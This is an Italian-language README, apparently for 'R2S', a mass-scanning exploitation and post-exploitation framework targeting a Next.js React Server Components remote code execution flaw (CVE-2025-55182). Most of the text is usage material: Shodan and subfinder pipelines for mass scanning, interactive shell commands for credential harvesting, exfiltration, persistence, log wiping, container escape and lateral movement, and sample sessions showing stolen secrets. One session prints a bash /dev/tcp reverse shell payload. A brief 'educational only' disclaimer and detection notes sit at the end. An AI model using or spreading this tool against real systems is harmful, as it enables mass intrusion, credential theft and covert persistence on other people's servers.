R2S è un framework completo di sfruttamento e post-sfruttamento che mira alla vulnerabilità Next.js React Server Components (CVE-2025-55182). Fornisce una shell interattiva con funzionalità avanzate per il penetration testing, tra cui trasferimento di file, persistenza, enumerazione, controlli di escalation dei privilegi e altro.
Framework Avanzato di Post-Exploitation per RCE su React Server Components di Next.js
Caratteristiche • Installazione • Utilizzo • Comandi • Esempi
R2S è un framework completo di exploitation e post-exploitation che sfrutta la vulnerabilità dei React Server Components di Next.js (CVE-2025-55182). Fornisce una shell interattiva con funzionalità avanzate per il penetration testing, tra cui trasferimento file, persistenza, enumerazione, controlli di escalation dei privilegi e molto altro.
.env e file di configurazione# Python 3.6 o superiore
python3 --version
# Installa le dipendenze
pip3 install requests urllib3
# Clona o scarica lo strumento
cd r2s-main
# Rendi eseguibile (opzionale)
chmod +x r2s_enhanced.py
# Esegui lo strumento
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [OPZIONI]
| Opzione | Descrizione | Predefinito |
|---|---|---|
-u, --url | URL di un singolo target | - |
-l, --list | File contenente l'elenco di URL | - |
-c, --cmd | Comando iniziale da eseguire | id |
-t, --threads | Numero di thread di scansione | 30 |
-p, --proxy | Proxy HTTP (es. http://127.0.0.1:8080) | - |
-v, --verbose | Abilita output dettagliato | False |
--http-port | Porta del server HTTP per il trasferimento file | 8000 |
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
Una volta ottenuto l'accesso RCE, entrerai in una shell interattiva con questi comandi:
upload <file_locale> <percorso_remoto> # Carica file sul target
download <file_remoto> <percorso_locale> # Scarica file dal target
cd <directory> # Cambia directory di lavoro
pwd # Mostra la directory di lavoro
enum # Enumerazione completa del sistema
privesc # Controlli di escalation dei privilegi
harvest # Raccolta di credenziali
portscan <ip> # Scansiona le porte della rete interna
memdump [pid] # Dump della memoria di processo per segreti
lateral # Opportunità di movimento laterale
escape # Vettori di fuga dal container
exfil [tipo] # Esfiltra dati (env/config/keys/db/logs/all)
reverse <lhost> <lport> # Prova più payload di reverse shell
persist # Aggiungi persistenza base
advpersist # Aggiungi persistenza avanzata
stealth # Pulisci i log e nascondi le tracce
save # Salva la sessione corrente
help, ? # Mostra il messaggio di aiuto
exit, quit # Esci dalla shell interattiva
Esegui qualsiasi comando shell direttamente:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Next.js RSC Exploit Tool (CVE-2025-55182)
Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)
>> CREDIT( G4rxd )
[*] Caricato 1 target. Avvio scansione con 30 thread...
[*] Comando del payload: id
[VULN] http://vulnerable-app.com >>> RCE SUCCESSO
Output: uid=1000(node) gid=1000(node) groups=1000(node)
[+] Shell RCE interattiva con stato avviata. Digita 'help' per i comandi.
[*] Funzionalità avanzate: enum, privesc, persist, portscan, harvest, stealth
[*] Nuove funzionalità: memdump, lateral, escape, exfil, advpersist, reverse
[+] Server HTTP avviato su 192.168.1.100:8000
next-rce:/app$
next-rce:/app$ enum
[*] Avvio enumerazione automatica...
============================================================
[*] Info Sistema
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
============================================================
[*] Utente Corrente
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)
============================================================
[*] Rilevamento Container
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Container Docker rilevato]
...
# Carica un file
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Caricamento /tmp/exploit.sh (2048 byte) tramite HTTP...
[+] Caricamento riuscito!
-rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh
# Scarica un file
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Download di /etc/passwd tramite HTTP...
[+] Download riuscito! (1523 byte)
Salvato in: ./passwd.txt
next-rce:/app$ harvest
[*] Raccolta credenziali...
[*] Variabili d'Ambiente:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[*] File .env:
/app/.env
/app/.env.production
/var/www/.env.local
[*] Chiavi SSH:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa
...
next-rce:/app$ reverse 192.168.1.100 4444
[*] Avvio tentativi di reverse shell verso 192.168.1.100:4444
[!] Assicurati di avere un listener in esecuzione: nc -lvnp 4444
[*] Provo 25 diversi payload di reverse shell...
[1/25] Provo Bash TCP... ✓ Eseguito
[?] Hai ricevuto una connessione? (y/n/s per fermare): y
[+] SUCCESSO! Reverse shell stabilita usando: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com
$ python3 r2s_enhanced.py -l targets.txt -t 50
[*] Caricati 3 target. Avvio scansione con 50 thread...
[VULN] http://app1.example.com >>> RCE SUCCESSO
[VULN] http://app3.example.com >>> RCE SUCCESSO
[*] Scansione completata.
next-rce:/app$ privesc
[*] Verifica vettori di escalation dei privilegi...
[*] Binari SUID:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[*] Permessi Sudo:
L'utente node può eseguire i seguenti comandi:
(ALL : ALL) NOPASSWD: /usr/bin/docker
[*] Socket Docker:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Gruppo Docker:
Nel gruppo docker - SFRUTTABILE!
...
next-rce:/app$ escape
[*] Verifica vettori di fuga dal container...
[*] Tipo di Container:
12:devices:/docker/a1b2c3d4e5f6
[*] Container Privilegiato:
PRIVILEGIATO
[*] Socket Docker:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock
[*] Capacità:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Capacità complete - il container è privilegiato]
...
Lo strumento include oltre 25 payload di reverse shell in più linguaggi e tecniche:
Rileva automaticamente ed estrae credenziali da:
Identifica e analizza:
SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI
Questo strumento è fornito esclusivamente per scopi educativi e per penetration testing autorizzato. L'utilizzo di questo strumento per attaccare target senza previo consenso reciproco è illegale. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Requisiti per un uso legale:
Rilevamento:
Next-Action insolitechild_process.execSync nei log di Next.jsMitigazione:
I contributi sono benvenuti! Assicurati che tutti i contributi siano per scopi educativi e di sicurezza difensiva.
G4rxd
Questo progetto è concesso in licenza per soli scopi educativi e test autorizzati.
⚡ Buon Ethical Hacking! ⚡
Ricorda: Da un grande potere derivano grandi responsabilità.